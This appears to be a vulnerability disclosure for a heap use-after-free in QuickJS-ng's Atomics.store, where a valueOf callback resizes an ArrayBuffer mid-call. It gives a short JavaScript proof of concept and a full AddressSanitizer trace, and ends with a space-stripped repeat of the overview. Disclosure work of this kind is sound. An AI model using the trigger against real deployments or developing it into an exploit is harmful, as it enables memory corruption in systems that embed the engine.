Overview
js_atomics_store calls js_atomics_get_ptr, which caches a pointer on the heap. When ret = JS_ToIntegerFree(...) is called, side-effects of arbitrary JS code can trigger an array buffer resize. This moves the buffer and frees the old memory, invalidating the cached ptr and triggering a Use-After-Free (UAF) at atomic_store((_Atomic(uint32_t) *)ptr, v);.
PoC
const rab = new ArrayBuffer(1024, { maxByteLength: 1024 * 1024 });
const i32 = new Int32Array(rab);
const evil = {
valueOf: () => {
console.log("resize buffer");
rab.resize(0);
return 123;
}
};
Atomics.store(i32, 0, evil);
ASAN output:
=================================================================
==63792==ERROR: AddressSanitizer: heap-use-after-free on address 0x519000002880 at pc 0x5f1516ed0141 bp 0x7ffd088c1810 sp 0x7ffd088c1800
WRITE of size 4 at 0x519000002880 thread T0
#0 0x5f1516ed0140 in js_atomics_store (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1db140) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#1 0x5f1516e8b811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#2 0x5f1516d62863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#3 0x5f1516d63da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#4 0x5f1516eea921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#5 0x5f1516eeff30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#6 0x5f1516ef0454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#7 0x5f1516ef56b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#8 0x5f1516efaa7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#9 0x5f1516d28ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#10 0x70c553a2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x70c553a2a47a in __libc_start_main_impl ../csu/libc-start.c:360
#12 0x5f1516d297d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
0x519000002880 is located 0 bytes inside of 1024-byte region [0x519000002880,0x519000002c80)
freed by thread T0 here:
#0 0x70c553efc778 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
#1 0x5f1516dca2ca in js_realloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xd52ca) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#2 0x5f1516ebfd05 in js_array_buffer_resize (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1cad05) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#3 0x5f1516e8b6d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#4 0x5f1516d62863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#5 0x5f1516d63da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#6 0x5f1516d9cf5e in JS_CallFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xa7f5e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#7 0x5f1516e0729b in JS_ToPrimitiveFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11229b) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#8 0x5f1516e0885f in JS_ToNumberHintFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11385f) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#9 0x5f1516e0ada1 in JS_ToIntegerFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x115da1) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#10 0x5f1516ecfd1a in js_atomics_store (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1dad1a) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#11 0x5f1516e8b811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#12 0x5f1516d62863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#13 0x5f1516d63da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#14 0x5f1516eea921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#15 0x5f1516eeff30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#16 0x5f1516ef0454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#17 0x5f1516ef56b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#18 0x5f1516efaa7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#19 0x5f1516d28ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#20 0x70c553a2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#21 0x70c553a2a47a in __libc_start_main_impl ../csu/libc-start.c:360
#22 0x5f1516d297d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
previously allocated by thread T0 here:
#0 0x70c553efd340 in calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
#1 0x5f1516dc3bea in js_mallocz (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xcebea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#2 0x5f1516f426c0 in js_array_buffer_constructor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x24d6c0) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#3 0x5f1516e8b811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#4 0x5f1516ee7234 in JS_CallConstructorInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2234) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#5 0x5f1516d735e9 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x7e5e9) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#6 0x5f1516eea921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#7 0x5f1516eeff30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#8 0x5f1516ef0454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#9 0x5f1516ef56b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#10 0x5f1516efaa7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#11 0x5f1516d28ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#12 0x70c553a2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#13 0x70c553a2a47a in __libc_start_main_impl ../csu/libc-start.c:360
#14 0x5f1516d297d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
SUMMARY: AddressSanitizer: heap-use-after-free (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1db140) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56) in js_atomics_store
Shadow bytes around the buggy address:
0x519000002600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002700: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x519000002880:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x519000002b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==63792==ABORTING
Reporter credit: mcsky23 (Vlad Ionut Seba)
Overview
js_atomics_storecallsjs_atomics_get_ptr, which caches a pointer on the heap. Whenret = JS_ToIntegerFree(...)is called, side-effects of arbitrary JS code can trigger an array buffer resize. This moves the buffer and frees the old memory, invalidating the cached ptr and triggering a Use-After-Free (UAF) atatomic_store((_Atomic(uint32_t) *)ptr, v);.PoC
ASAN output:
Reporter credit: mcsky23 (Vlad Ionut Seba)